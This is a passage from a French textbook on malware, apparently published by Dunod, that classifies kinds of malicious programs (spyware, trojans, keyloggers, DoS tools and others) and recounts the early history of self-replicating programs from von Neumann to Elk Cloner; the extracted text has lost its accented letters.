Tableau 1.3 Comparaison entre adware et spyware Adware Source commerciale connue Profite de la connexion Internet de lutilisateur Consomme de la bande passante Internet de manire invisible Observe les habitudes de navigation de linternaute afin de lui fournir des bannires publicitaires adaptes son profil Modifie ou ajoute des fonctionnalits au navigateur Modifie le comportement et les rglages du navigateur Tlcharge et installe des programmes et autres objets de manire arbitraire En cas de transfert de donnes, la prservation de lanonymat est annonce (et respecte). Si des donnes personnelles sont transmises lutilisateur en a t inform (EULA End user Licence Agreements) Collecte et transmet des donnes statistiques (habitudes de navigation) et/ou personnelles un site distant sans que la victime en ait connaissance et sans son autorisation explicite (objectif commercial). Aucune clause de confidentialit nest fournie par dfaut Se conduit comme outil despionnage en interceptant la globalit de lactivit effectu sur la machine de la victime (objectif de renseignement) Oui Oui Oui Oui Parfois Parfois Oui Oui Spyware Oui Oui Oui Oui, mais pas uniquement Parfois Parfois Oui Non

Non

Oui, cest le but !

Non

Parfois

Quelques autres caractristiques sont frquemment rencontres : Absence de logiciel de dsinstallation. Impossibilit daccder une quelconque panneau de configuration. Impossibilit de dsactiver temporairement ou dfinitivement le produit. Appropriation du carnet dadresse de messagerie pour un envoi en masse de messages.

Dunod La photocopie non autorise est un dlit

Bombes logiques
Une bombe logique est un programme contenant une fonction malveillante cache gnralement associe un dclenchement diffr. Cette fonction, souvent destructrice, a t rajoute de faon illicite un programme hte. Il conservera son apparence anodine et son fonctionnement correct jusquau moment choisi par le programmeur malveillant. Le dclenchement qui seffectue un moment dtermin peut exploiter la date du systme. Il peut aussi utiliser un critre plus pernicieux tel que la disparition dun enregistrement dans une base de donne.

26

Chapitre 1. Les multiples aspects de la malveillance

Il sagit gnralement dune attaque cible vers une entreprise dans le but de la paralyser au moins momentanment. Ces attaques sont peu nombreuses, mais leur impact est trs lev. Elles restent souvent inconnues du public. Citons titre dexemple le chantage dun ex-employ dune socit de service visant une application de trsorerie utilise par une centaine de clients. La direction nayant pas cd, le criminel a effectivement dclench le processus. Le total des pertes fut estim lpoque environ 800 000 Euros (5MF)1.

Chevaux de Troie et portes drobes


La dfinition premire dun Cheval de Troie (trojan en anglais) est celle dun programme qui comporte une fonctionnalit cache connue de lattaquant seul. Le mode opratoire na pas chang depuis la prise de Troie par les Grecs : il sagit de contourner les contrles de scurit en vigueur pour pntrer llment cibl. On utilise le terme de cheval de Troie lorsque la fonction cache et rajoute au sein dun programme lgitime quelconque. Le terme porte drobe (backdoor en anglais) sapplique tout programme malveillant spciquement ddi cet effet. Une fois le programme install, la machine peut tre prise en main distance avec un outil dattaque rseau compatible. Cest gnralement au travers dun port TCP/IP maintenu ouvert que le logiciel client distant pourra effectuer certaines actions sur le poste local ou a t pralablement excut le serveur (le cheval de Troie ou la backdoor). Le tableau 1.4 nous montre quelques exemples de portes drobes.
Tableau 1.4 Exemples de portes drobes NOM DU SERVEUR Backdoor-AML Backdoor-AMH Backdoor-AJZ Backdoor-AGS Backdoor-AJY Backdoor-AIT Backdoor-AJM Backdoor-AIK Backdoor-AJB Backdoor-BBI Jeem IRC.Mapsy Expjan Assasin Miffice IRTTH ALIAS PORT OUVERT 6079/5262/4668 6754 2090 5695 1533 15000 10 1160 1881 Port UDP alatoire

1. LAMERE Jean Marc & TOURLY Jacques, La scurit des petits et moyens systmes informatiques, DUNOD informatique, ISBN 2-04-018721-9, 1988.

1.5 Les infections informatiques

27

Outils de capture dinformation


Au dbut dInternet, le langage de programmation qui permettait de crer des pages web tait HTML. Les possibilits dinteraction taient alors trs limites. Lutilisateur ne pouvait pas intervenir sur le Web, le Web ne pouvait pas intervenir sur la machine locale. Pour outrepasser ces limitations, Microsoft, avec ses composants Active X, et Sun, avec Java proposrent des solutions pour rendre le Web plus attrayant. Lintrt dune certaine interactivit entre lutilisateur et le document quil visualise na pas chapp non plus aux crateurs de programmes malveillants. Ces programmes, applets Java et les objets Active-X, sont habituellement de petite taille et prennent le nom de codes mobiles hostiles. Il agissent de manire autonome. Intelligents, ils sadaptent deux-mmes leurs environnements. Certains dentre eux ont la capacit dapprendre en utilisant leurs propres expriences. Dans leurs domaines particuliers, ils possdent un certain niveau dexpertise. Des programmes excutables compils sont aussi ddis la collecte dinformations. Ce sont les plus rpandus, il sagit des renieurs de clavier et de mot de passe. Les lments que nous allons maintenant lister ne doivent pas tre confondus avec les spywares que nous avons dtaills prcdemment. Ces premiers avaient une origine commerciale connue, ceux-ci ont t crs par des pirates dans un pur but malveillant.

Les renieurs de mot de passe Ils sont galement connus sous lappellation anglaise de PassWord Stealer (PWS). Ils sactivent lors dune action spcifique, tel que lapparition dune fentre dont lintitul contient une partie dun mot cl (LOGon, PASsword). Sur une courte priode, les donnes saisies au clavier sont alors enregistres, stockes ou envoyes vers un site distant. PWS-Hooker.dll est lun dentre eux.
Certains outils sont spcialiss dans lanalyse des caches mmoire et des chiers systme pour y rechercher ce type dinformation. Selon la socit Panda1, Maa.a en est un exemple. Il cible les ordinateurs du type Windows .NET Server/XP/2000/NT.
Dunod La photocopie non autorise est un dlit

Les renieurs de clavier Prenant aussi le nom de keylogger, leur champs dactivit dpasse la collecte prcise dun mot de passe. Selon des critres prdfinis, ils sont capables denregistrer toutes les frappes claviers et lments dclenchs. Cest tout le travail ralis par lutilisateur de la machine qui peut ainsi tre enregistr. Ces logiciels sactivent et se remettent en sommeil la demande et distance. Citons comme exemple, KeyLogSSKC : il est capable de capturer les frappes clavier pour ensuite expdier le fichier de capture par e-mail.

1. Encyclopdie Panda Maa.a : http://www.pandasoftware.com/virus_info/encyclopedia/overview.aspx?idvirus=41263.

28

Chapitre 1. Les multiples aspects de la malveillance

Figure 1.18 Pr-configuration dun renifleur de clavier

Applets Java hostiles Les applets Java sont gnralement tlchargs pour accomplir des tches comme lanimation de composants graphiques, la maintenance dinformations, le calcul de certains rsultats avant retransmission de ceux-ci vers le serveur dont lapplet est originaire. Lorsque un navigateur dtecte larrive de lun dentre eux sur la machine locale, il lenvoie automatiquement vers son processeur virtuel appel Java Virtual Machine (JVM). Celui-ci interprtera le code compil reu et le rendra excutable.
Seul le runtime JVM est ncessaire la bonne excution du programme. Le code y est enferm dans un espace mmoire propre dnomm sandbox. Tout accs aux ressources critiques lui est normalement interdit. Les plus clbres applets Java hostiles furent crs en 1996 par Marc D. LaDue1. Les navigateurs actuels y sont insensibles. Aujourdhui, cest au travers de brches de scurit que se manifestent ces applets hostiles. Quatre types dattaques sont toujours possibles : Modification du systme ou des donnes. Atteinte la personne (envoie de mails subversifs). Saturation ou dtournement des ressources systme. Perturbations diverses (messages, sons).

1. A Collection of Increasingly Hostile Applets : http://www.cigital.com/hostile-applets/.

1.5 Les infections informatiques

29

Parmi ces vulnrabilits, citons celles qui pourraient permettre : dexcuter le code de son choix sur une machine via un mail au format HTML ou une page Web (MS99-031, MS01-0381). Le virus VBS/XPMsg@MM utilise cette vulnrabilit en se propageant via Microsoft Outlook. Il faut diffrencier cette vulnrabilit de celle utilise par de nombreux autres virus tels que JS/ Kak@M (MS99-032). Alors que ce dernier cre des fichiers sur le disque dur pour ensuite pouvoir se propager, VBS/XPMsg@MM ne cre aucun fichier. de lire des fichiers de lordinateur dune personne visitant le site Web ou de lire du contenu Web provenant dun rseau informatique priv si ce site est visit par un ordinateur depuis ce mme Intranet (MS00-011, MS00-081).

Objets Active-X hostiles Les composants Active-X peuvent jouer le mme rle que les applets. Ils ne fonctionnent cependant que sur Microsoft Internet Explorer (ou Netscape si un plug-in spcifique est install).
la diffrence des applets qui doivent tre crit en Java, un objet Active-X peut tre dvelopp en nimporte quel langage (C, C++, Visual Basic ou Java). Il sexcute sur le poste client de lutilisateur et peut tout y faire. Il noffre comme scurit que la conance que vous avez en son dveloppeur. Cest insufsant et cest pour cette raison quun processus de signature a t mis en place. Il permet de connatre la socit mettrice de lobjet avant den accepter ou non lexcution. Parmi les premiers objets Active-X hostiles, citons : AX/Exploder (1996) : il stoppe Windows 95 et teint la machine. AX/Runner : il excute une copie de linterprteur de commande (command.com). Les objets Active-X hostiles sont directement lis des brches de scurit qui ont fait lobjet de correctifs. Parmi ces vulnrabilits, citons celles qui pourraient permettre : dexcuter un fichier distant (MS99-007), de faire oprer par une page Web des actions non autorises sur lordinateur qui la charge (MS99-032). Ce peut tre par exemple limplantation dune porte drobe telle que BackDoor-JW apparue en dcembre 2000. Elle tait distribue depuis un site de jeux. De nombreux virus utilisent galement cette vulnrabilit comme nous aurons loccasion de le voir dans les chapitres suivants.

Dunod La photocopie non autorise est un dlit

1. Lensemble des Bulletins de Scurit Microsoft est disponible partir des pages : http://www.microsoft.com/technet/security/current.aspx (site US), http://www.microsoft.com/france/securite/bulletins_securite/default.asp (site FR).

30

Chapitre 1. Les multiples aspects de la malveillance

De tlcharger un fichier distant dont on connat le nom et lemplacement (MS99-011 & MS99-042), dinclure un excutable non sr dans un courrier lectronique et de le faire passer pour une pice jointe sre. Par le biais dune srie dtapes complexes, lexcutable non sr serait ensuite excut dans certaines conditions, si lutilisateur ouvrait la pice jointe (MS99-048), dinstaller des fichiers sur la machine locale et den modifier les lments de sa configuration (MS00-034). Cest ainsi que le virus VBS/Davinia@MM fut diffus aprs la simple visualisation dune page Web.

Outils dappropriation de ressources


Ces programmes sont capables dutiliser les ressources de lordinateur au dpend de son propritaire. Ils peuvent induire des pertes financires pour lattaqu et tre source de profit pour lattaquant.

Les logiciels de connexion tlphoniques furtifs galement connu sous le terme de dialers, leur installation est souvent conscutive la visite dun site caractre pornographique (Porn-Dialer). Certains virus tel que W32/Ultimax.worm vhiculent aussi ces programmes.
Installs sur votre ordinateur, il vont chercher court-circuiter lappel votre Fournisseur dAccs Internet (FAI) pour tablir une communication surtaxe au prot du propritaire du numro appel.

Les relais de spam Installs sur la machine linsu de son propritaire, ces mini serveurs permettent lmission du courrier non sollicit vers leurs victimes potentielles. Cette technique vite aux spammeurs de se faire eux-mmes dtecter et bloquer par un fournisseur daccs.
Aujourdhui, de nombreux spammers se font aider par des auteurs de virus. Ils inltrent ainsi des ordinateurs vulnrables et les transforment secrtement en serveur relais SMTP. Lun de ces outils, Proxy-Guzu, est un mini serveur de courrier pilotable distance. Il permet aux e-marchands indlicats et peu scrupuleux denvoyer anonymement des millions de courriers publicitaires de manire totalement anonyme.

Outils dattaque rseau


Par abus de langage, ils peuvent tre, eux aussi, apparents aux chevaux de Troie et dtects comme tels par les anti-virus.

1.5 Les infections informatiques

31

Dispositifs de prise de main distance Ces programmes permettent dobtenir un accs non autoris sur des quipements qui contiennent un cheval de Troie ou une porte drobe qui leur est compatible. Il sagit ici du logiciel client dune application client/serveur. Deux ordinateurs entrent donc en jeu ; le premier pilote le processus, le second est la cible sur laquelle a t pralablement install, puis excut, le serveur (le cheval de Troie ou la backdoor).
Le nombre de ces dispositifs ne cesse daugmenter. Cette tendance dbute en 1998. Cette anne l, toute une srie doutils furtifs de prise de main distance sont galement mis disposition sur Internet. Les plus connus furent Back Orice et Socket de Troie (ou socket 2.3). Ce furent des prcurseurs. Ils ont t aujourdhui rejoints par de nombreux autres produits. Une telle prise de contrle distance est parfois lgitime (opration de tlmaintenance), mais dans le cas dun acte de piratage, le propritaire de la machine cible est inconscient de la menace qui pse sur lui. Il aura excut son insu le programme serveur qui, une fois install, sera gnralement capable de se lancer automatiquement chaque nouveau dmarrage de la machine. Pour tromper limprudent, il lui aura t prsent comme un jeu, un anti-virus ou un utilitaire quelconque. Dans dautres cas, et comme nous lavons dj signal, cest un virus qui pourra lavoir vhicul. Dun point de vue pratique, le pirate interroge le rseau gnralement au travers dune adresse IP. Si celle ci correspond une cible lcoute, la connexion seffectue au travers du port TCP/IP que le serveur maintient ouvert. Une fois sous son contrle, tout est possible : Affichage des caractristiques systme de la machine et de son environnement rseau. Contrle des processus systme. Accs total a la base de registres. Listing en clair des mots de passe. Redmarrage de la machine. Accs total au disque, exploration des rpertoires et visualisation du contenu des fichiers. Excution de programmes. Transfert de fichiers avec possibilit de compression. Ouverture dune boite de dialogue. Surveillance des activits clavier. Opration multimdia (son, clip vido). Montage et dmontage de ressources rseau. Gestion des ports TCP/IP, rsolution des noms de machine et des adresses IP.

Dunod La photocopie non autorise est un dlit

32

Chapitre 1. Les multiples aspects de la malveillance

Figure 1.19 Possibilits offertes par NetBus Pro

Les renieurs de trac Ils interceptent les donnes qui transitent sur le rseau. En mode broadcasting, toute donne qui circule, arrive lentre de toutes les cartes rseau des machines connectes. Seules les donnes destines au PC sont lues, les autres sont ignores. Des logiciels de type sniffer permettent linterception et lanalyse de ces trames qui devraient rester inexploites.
La plupart de ces outils sont ddis la recherche de mots de passe ou dadresses IP. titre dexemple, Sniff-ICQ.WPD permet de dcouvrir ladresse IP dutilisateurs utilisant la messagerie instantane (ICQ1).

Les outils pour deni de service (DoS) Ces programmes sont conus pour gnrer des arrts de service en exploitant des faiblesses de larchitecture rseau ou des protocoles. Il existe divers types dattaques :
La saturation par dluge de donnes (flooding). Envoyes trs rapidement et en grand nombre, la machine cible ne pourra toutes les traiter, et finira par se dconnecter du rseau. On connat : Lenvoi de paquets IP de grosse taille (FdoS-SCRAwaked), Lenvoi massif de paquets UDP (FdoS-Udp.102), Lenvoi massif de requtes ICMP echo-request ou smurfing. Cette attaque consiste se faire passer pour le serveur cible en falsifiant sa propre adresse IP (spoofing) puis envoyer les requtes vers plusieurs classes dadresses IP autorises. En retour, les machines rpondent au serveur qui se trouve inond de connexions (DoS-Smurf),

1. En anglais, abrviation de : I Seek You , ce qui signie en franais : je te cherche .

1.5 Les infections informatiques

33

Les outils de plantage Windows (en anglais, nuker). Citons comme exemple ceux permettant lenvoi rptitif de paquets dinformations sur le port 139 dune machine Windows-95. Ils entranent laffichage du trop connu cran bleu qui oblige redmarrer (FdoS-BloodLust), Lenvoi massif de SMS (SMSFlood), Lenvoi massif de message pour faire saturer un correspondant ICQ (FdoS/ ICQRevenge). La saturation par demande de connexion. On parle ici de dni de service distribu (DDoS Distributed Denial of Service), Dans un premier temps, il sagit de prendre le contrle de plusieurs machines loignes, et dy placer un programme client (souvent appel zombie). Ensuite, lun des pirates utilise un programme matre qui contrle tous les zombies. Il lance une attaque convergente vers une mme cible en linondant de paquets. Parmi les outils qui permettent de lancer de telles attaques, citons trinoo (ou trin00), TFN (Tribe Flood Network) et Stacheldraht. Une autre technique ne ncessite quune seule machine. Elle consiste falsifier son adresse IP en utilisant des sries dadresses de machines autorises et en envoyant des rafales de demandes de connexion pour chacune de ces adresses. Le dbordement de tampon. Cest lenvoi la machine cible des donnes dune taille suprieure la capacit dun paquet. Celui-ci alors fractionn pour lenvoi sera rassembl par la machine cible. Cest alors quune faille du protocole IP entranera le dbordement des variables internes (FdoS/Pestil.20).

Les craqueurs de mot de passe La technique consiste faire de nombreux essais jusqu la russite du processus. Certains outils utilisent des listes de mots prdfinies et modifiables. Les scanners de port Ils peuvent permettre de reprer les ports TCP/IP ouverts sur une machine pour ensuite mener une attaque plus prcise. Ils aident un pirate en lui indiquant comment procder pour pntrer une machine (Pest-PortScan).

Dunod La photocopie non autorise est un dlit

1.5.2 Les programmes auto reproducteurs


La finalit dun programme auto reproducteur est souvent identique celle dun programme simple. Cest le mode de propagation qui change. sa premire excution, le programme cherche se reproduire. Il sera donc gnralement rsident en mmoire et, dans un premier temps, discret. Si elle existe, la fonctionnalit malveillante (payload) seffectuera dans un dlai plus ou moins court et sur un critre quelconque prdni (trigger). Pour de nombreux virus la perturbation sest longtemps limite la reproduction et tous les ennuis quelle engendre. Aujourdhui la fonction malveillante se rapproche de celle de nombreux programmes simples.

34

Chapitre 1. Les multiples aspects de la malveillance

Les vers et les virus forment eux seuls la famille des programmes auto reproducteurs, on les retrouve au premier rang des infections informatiques. En 1988, lpoque du ver RTM (du nom de son auteur: Robert Tappan Morris), la distinction entre ver et virus est gnralement acquise mme si elle apparat parfois des plus nes. Des dnitions prcises sont tablies par les scientiques de lpoque. Peter Denning1 explique quun ver est un programme capable de fonctionner de manire indpendante. Il se propage de machine en machine au travers des connexions rseau. Un ver ne modifie aucun programme, il peut cependant transporter avec lui des portions de code qui pourront, par la suite, effectuer un telle activit. John Shoch et Jon Hupp2 prcisent quun ver na pas forcment une connotation malveillante. Il peut accomplir un travail utile dans un rseau. De son ct, Fred Cohen3 dfini un virus comme un programme capable dinfecter dautres programmes en les modifiant pour y inclure une copie de lui-mme qui pourra avoir lgrement volue. Le virus ne peut pas fonctionner dune manire indpendante. Lexcution du programme hte est ncessaire son activation. Par analogie avec son cousin biologique, il se multiplie au sein de lenvironnement quil cible et entrane corruption, perturbation, et/ou destruction. Tout code malveillant mme de se propager est souvent considr comme un virus. Selon cette thorie, les vers ne sont alors quun sous-ensemble dans la famille des virus. Cest le parti pris que nous prendrons dans ce livre. Il nexiste cependant pas de consensus dans la communaut anti-virale et diverses dnitions contradictoires circulent.

1. DENNING Peter (1990), Computers Under Attack. Intruders, worms, and viruses, ACM PRESS. New York. ISBN:0-201-53067-8. 2. SHOCH John. F. & HUPP Jon. A. (1982), The Worm Programs Early Experience with a Distributed Computation, Communication of the ACM. Vol25, Nb3, pp 172-180. 3. COHEN Fred. (1984 et 1987), Computer Viruses Theory and Experiments, DOD/NBS 7th Conf. on Computer Security. IFIP-sec 84. Computers & Security, Volume 6 (1987), pp 22-35.

2
Historique de linnocence la tentation criminelle

Alors que pour le grand public, lapparition des premiers virus remonte aux annes 1980, ce chapitre va tout dabord nous montrer que la mise en uvre de programmes auto reproducteurs est bien plus ancienne quelle ny parait. Elle remonte une poque ou les anctres des virus ne sappelaient pas encore des vers. Les mathmaticiens et les auteurs de science-ction laissant la place aux premiers crateurs, tout fut rapidement imagin ou invent. Face eux les concepteurs dantivirus alignrent leurs premiers outils. Au l des ans, linvestigation et le challenge incitrent les uns et les autres accentuer leurs recherches. Diverses formes virales auront leur priode de gloire puis tomberont en dsutude. lapproche de lan 2000, la mainmise des virus sur les outils bureautiques tels que Microsoft Ofce et leur propagation au travers de la messagerie lectronique seront deux thmes rcurrents marquant la n du sicle. Saidant dautres innovations, le micro-ordinateur isol et la toile Internet deviendront deux terrains dexpriences qui niront par se rejoindre. Les jeunes irresponsables dhier commenceront disparatre laissant la place au professionnalisme. La criminalit lancienne cherchera sadapter au monde virtuel.

2.1 JOHN LOUIS VON NEUMANN


Le mathmaticien John Louis von Neumann est n Budapest en 1903. Son oeuvre est remarquable par sa grande varit. Il est gnralement considr comme le pre de lautomate auto reproducteur, anctre thorique des virus informatiques.

36

Chapitre 2. Historique de linnocence la tentation criminelle

Von Neumann consacra la dernire partie de sa vie aux problmes de logique et danalyse numrique poss par les calculateurs. Il ralisa une tude thorique du problme de la programmation, cest--dire de la transformation dun problme mathmatique en un systme cod dinstructions. Ses premiers travaux de logique mathmatique le prdisposait une analyse thorique de la notion de machine. En 1949, dans une srie darticles dont lun est intitul Theory and Organization of Complicated Automata, von Neumann met en avant sa thorie relative la structure formelle des automates et des machines reproductrices. Il les considre capables de se reconstruire lidentique. Il prcise que leur complexit pourrait crotre de gnration en gnration. La thorie de von Neumann se fonde sur les principes de la machine de Turing1 ou le concept de machine calculer a t tendu celui de machine construire. On y retrouve deux lments centraux : un Ordinateur Universel (Universal Computer) et un Constructeur Universel (Universal Constructor). LOrdinateur Universel contient un programme qui pilote le comportement du Constructeur Universel. Le Constructeur Universel fabrique, tour tour, un autre Ordinateur Universel et un autre Constructeur Universel. Lorsque cette tche est acheve, le nouvel Ordinateur Universel est programm avec une copie du programme contenu dans lOrdinateur Universel dorigine et, celui ci est excut. Lensemble des travaux de von Neumann ont t regroups et complts dans un ouvrage crit par lun de ses tudiants, Arthur Burks, sous le titre Theory of SelfReproducing Automata by John von Neumann2.

2.2 LES PREMIRES EXPRIENCES


En 1962, trois amis informaticiens, Doug McIlroy, Victor Vyssotsky et Robert P. Morris Senior crent un jeu quils intitulent Darwin3. Sur un ordinateur du type PDP-1, dans les laboratoires de Bell Telephone Labs du New Jersey, ils mettent en scne des programmes qui saffrontent. Leur but est de survivre tout en liminant leurs adversaires. Les programmes ont la capacit de crer des copies deux-mmes en mmoire. On les appelle des organismes (organisms)4.

1. TURING, Alan Mathison (1936), On Computable Numbers, with an application to the Entscheidungsproblem, publi dans Proceedings of the London Mathematical Society, srie 2, volume 42 (1936-7), pp.230-265. Corrections : Ibid, vol 43 (1937) pp. 544-546. Disponible ladresse : http://www.abelard.org/turpap2/tp2-ie.asp. 2. BURKS, Arthur W. (1966), Theory of Self-Reproducing Automata by John von Neumann, University of Illinois Press, Urbana, Illinois, 1966. Documents dits, publis et complts. Ils sont bass sur la retranscription de lectures dlivres luniversit en dcembre 1949 (5me lecture). Voir pp. 29-87 (premire partie) : Theory and Organization of Complicated Automata. 3. The Risks Digest (1990), Contribution intitule How history gets made, or, myths spread like viruses at the CVIA, Vol9, Issue76 (Lundi 19 mars 1990). 4. SOFTWARE Practice and Experience (1972), Computer Recreations: 'Darwin'. Vol2, 93-96.

2.2 Les premires expriences

37

Mme sil tait peu connu du grand public, ce type de jeu fut trs populaire. Il sortit rellement de lombre en 1984 quand il fut dcrit sous le nom de Core War1.

2.2.1 CREEPER & REAPER


Le premier ver date peut-tre de 1971. Son but ntait absolument pas malveillant ; il se nommait Creeper. Selon Max Schwarzmaier2, ce programme de dmonstration tait en fait une rponse aux besoins des contrleurs ariens qui, sur ARPANET3, souhaitaient recevoir une notification lorsque certains avions passaient de la surveillance dun ordinateur un autre. Le programme ne se multipliait pas mais utilisait une machine la fois. Il avait la capacit de se dplacer de machine en machine pour sy excuter. chaque excution le message Im creeper! Catch me if you can! saffichait lcran. Diverses informations non vries ce jour semblent indiquer que dautres versions de Creeper ont ensuite vu le jour. Dans ces versions, Creeper avait la capacit de se dmultiplier4. Un second programme sintitulant Reaper aurait mme tait dvelopp pour combattre et liminer le prcdent. Dautres sources parlent dun programme similaire nomm Rabbit sur IBM360. Aucune source able ne ma permis den conrmer lexistence.

2.2.2 Animal et Pervade


Le programme Animal fut crit dans les annes 1970 par John Walker5. Dvelopp sur UNIVAC, sa notorit contribua au dveloppement de nombreuses lgendes. Il sagissait dun jeu qui, par le biais dune vingtaine de questions, se devait dtre mme de dterminer quel animal le joueur pensait. Grce aux rponses apportes par les joueurs, le programme dveloppait une base de connaissance qui lui permettait dtre de plus en plus performant.
Dunod La photocopie non autorise est un dlit

1. DEWDNEY A.K. (1984). Computer Recreations: In the game called Core War hostile programs engage in a battle of bits, Scientic American 250(5): 14-22, Mai, 1984. 2. SCHWARZMAIER Max. (1995), The Internet Worm 1988, Disponible ladresse : http:// www.ifs.univie.ac.at/~c9225414/security/worm.html. 3. ARPANET : Advanced Research Projetcs Agency NETwork, Rseau de lAgence pour les Projets de Recherche Avancs. Groupe de recherche cr en 1968 sous couvert du ministre amricain de la Dfense pour dvelopper un rseau dcentralis qui devait pouvoir rsister une attaque atomique. Anctre dInternet, ce rseau se devait daccueillir des ordinateurs de marques diffrentes pour quils puissent dialoguer entre eux grce au principe de la communication par paquets. Il aura une inuence considrable sur le dveloppement de la messagerie lectronique et du partage de linformation. 4. SHOCH John. F. & HUPP Jon. A. (1982), The Worm Programs Early Experience with a Distributed Computation, Communication of the ACM. Vol25, Nb3, pp 172-180. 5. WALKER John. (1996), The Animal Episode, Disponible ladresse : http://www.fourmilab.ch/documents/univac/animal.html

38

Chapitre 2. Historique de linnocence la tentation criminelle

En Avril 1974, John Walker mit au point sur UNIVAC 1100 lultime version du programme. La notorit aidant, John fut vite submerg de demande. En janvier 1975, il se lassa des nombreux envois de bandes magntiques pour son logiciel ou ses mises jour. Il dveloppa Pervade et lintgra son programme. chaque excution du jeu, cette routine examinait les rpertoires accessibles au travers du rseau et y copiait la version actuelle du logiciel si elle y tait absente, ou prsente dans une version moins rcente. Les ordinateurs UNIVAC possdaient une caractristique peu connue et peu commune : lorsquun utilisateur entrait au clavier le nom dun rpertoire, le systme excutait automatiquement le dernier programme plac dans celui-ci. Associe Pervade, cette fonctionnalit dun grand intrt pour les administrateurs systme de lpoque explique les nombreuses rumeurs qui sen suivirent elle explique aussi pourquoi des utilisateurs recevaient sans bien comprendre pourquoi des messages du type : Think of an animal .

2.2.3 Maintenance et tldistribution


Le document de John Shoch et Jon Hupp cit plus haut, prsente galement quelques applications concrtes qui auraient t ralises dans les annes 1980. Mentionnant John. Brunner (voir paragraphe suivant), il introduit le terme de vers et envisage de les utiliser comme utilitaires de maintenance ou de tldistribution. Ds cette poque on redoute cependant une mauvaise utilisation ou un disfonctionnement du ver pouvant entraner un crash du systme. Le centre de recherche Xerox de Palo Alto do sont issus nos chercheurs en fait dailleurs la triste exprience. Un matin, le personnel du centre retrouve ses machines stoppes. chaque remise en marche, un ver exprimental resurgit et entrane un nouveau crash. Il faut alors injecter un programme tueur pour supprimer lhte devenu indsirable. Ce phnomne marqua la n des expriences.

2.3 LA SCIENCE-FICTION
Bien des livres et des nouvelles mettent en scne un monde ou des machines utilisent leur profit ou leur dpend des programmes nuisibles. Le premier rcit fut peut tre The Thinking Machine dAdam Levitt. Il serait paru en 1936 dans un magazine amricain consacr la science-ction : Amazing Stories. Il sagirait de lhistoire dune machine intelligente, contrlant lactivit dune ville et la dtruisant aprs tre devenue folle au contact des humains1.

1. GREENBERT, Igor, 1995, Computer Viruses, Document disponible ladresse : http://www.paspaug.org/News95/NewsAug.htm.

2.3 La science-fiction

39

Pour le domaine des codes auto reproducteurs, les visionnaires ne furent pas seulement universitaires et chercheurs. Les auteurs de science-ction eurent souvent beaucoup dintuition. Les termes de virus et de ver semblent dailleurs issus de la science ction.

2.3.1 Harlie avait un an


Influenc par les travaux dAlan Mathison Turing1 et n en 1944, David Gerrold est lun des scnaristes de Star Trek. Il utilise le terme virus en 1972, dans la premire dition de son roman : When HARLIE was one2. HARLIE (Human Analogue Robot Life Input Equivalents) est un ordinateur dot dune intelligence articielle capable dimiter les diverses fonctions du cerveau humain. Ce cerveau lectronique cherche contacter dautres ordinateurs pour les reprogrammer ou modier leurs donnes. Pour arriver ses ns, HARLIE compose des numros de tlphone au hasard en utilisant un programme informatique appel Virus. Lorsquun ordinateur est dcouvert, une copie du programme Virus est tlcharge sur celui-ci an de dmultiplier les recherches.

2.3.2 Sur londe choc


Autre auteur de science-fiction, John Brunner est n en 1934. Son roman le plus fameux fut Tous Zanzibar, vaste fresque qui conte lhistoire dextraterrestres vgtaux. Au travers de ses divers romans, il dresse un sombre tableau du monde qui semble le reet aux traits grossis et noircis de celui o nous vivons : croissance de la population, appauvrissement des pays sous-dvelopps, monte de la violence, volution non contrle de la gntique, de la biologie et de linformatique. Lorsquil traite du pril informatique, lordinateur est dj en rseau.
Dunod La photocopie non autorise est un dlit

Son roman The Schockwave Rider3 qui parait en 1975, se situe au XXIe sicle. La dominance politique des USA sexprime dans une socit hautement technologique ou la comptitivit entrane les pires excs. Le hros, Nickie Hainger, sest chapp de la mgalopole de Tarnover an de restaurer la libert. Le monde autour de lui nest plus quun vaste rseau informatique universel qui encercle les continents comme le feraient des chanes Chacun croit avoir accs linformation ; il peut la demander depuis nimporte quel terminal du rseau. En ralit, seule une lite est mme den obtenir une version non dulcore ; les masses nont, quant elles, que des donnes aseptises et de la propagande.

1. Voir le paragraphe ddi Von Neumann. 2. GERROLD, David, (1972), When Harlie Was One, Ballentine Books, 1st Edition, En franais : Harry avait un an, Paris, Le Livre de Poche, 1980. 3. BRUNNER John (1975), The Shockwave Rider, Ballantine Books, ISBN:345-24853-8. En franais, Sur londe de choc, Le Livre de Poche. Laffont. ISBN:2-253-05270-1.

40

Chapitre 2. Historique de linnocence la tentation criminelle

Une sorte de ver, le tapeworm entre en scne la n du livre. Cest un programme cr par le hros pour casser la scurit du systme. Le ver ninfecte pas dautres logiciels, il ne semble pas non plus se reproduire, il grossit et se perptue aussi longtemps que le rseau existe. Le ver de John Brunner ressemble celui dcrit par les informaticiens Shoch et Hupp en 1980 et 1982 ; il est compos de multiples segments, chacun sexcutant sur une machine du rseau. Si un segment disparat, son double est rinject dans une autre station. Le ver se subdivise automatiquement; il envoie une copie de lui-mme la recherche des groupes perdus et cherche les restaurer dans leur environnement initial. Incroyablement intelligent, le ver de John Brunner sapproprie les donnes et se modie de lui-mme pour mieux contourner la scurit. Les autorits sont incapables de le dtruire, non pas cause de ses mcanismes de dfense ou de ses nombreuses copies mais parce quil sest assimil lui-mme au rseau. Pour tuer le tapeworm, il faudrait tuer le rseau. John Brunner crivit 95 romans. Il meurt en 1995 lors de la Convention mondiale de la science-ction. Deux ans plus tard, dans The Adolescence of P-1, Thomas Ryan1 dcrivait lui aussi un programme se reproduisant et progressant de machine en machine au travers dun rseau tlphonique la recherche dinformations.

2.4 APPLE II
Pour de nombreuses tudes le premier virus informatique est apparu en 1986 et ciblait le monde des PC. Les ordinateurs Apple furent cependant la cible de quelques virus au dbut des annes 80.

2.4.1 Elk Cloner


Le virus Elk Cloner fut crit en 1982 par Richard Skrenta2 alors quil tait tudiant Pittsburgh, Pennsylvanie. Lauteur souhaitait laisser sa trace dans le logiciel dexploitation de lApple II de son cole. Il crivit un programme afin que tout utilisateur passant aprs lui sur la machine, et ne rinitialisant pas le systme avec ses propres disques, se trouve infect. Jai ainsi ralis quun programme auto reproducteur pouvait tre cr indique til. La rinfection de la machine se produisait avec le dmarrage depuis une disquette pralablement infecte. Une description prcise de la version 2 de Elk Cloner

1. RYAN J. Thomas (1977), The Adolescence of P-1, Ace SF Books, ISBN 0-441-00360-5. 2. DEWDNEY A.K. (1985), A Core War bestiary of viruses, worms and other threats to computer memories, Scientic American, Mars 1985.

2.5 Fred Cohen

41

est disponible sur lancienne liste de diffusion Virus-L1. Le code source est accessible sur le site web de son auteur2.

2.4.2 Anti-Congo
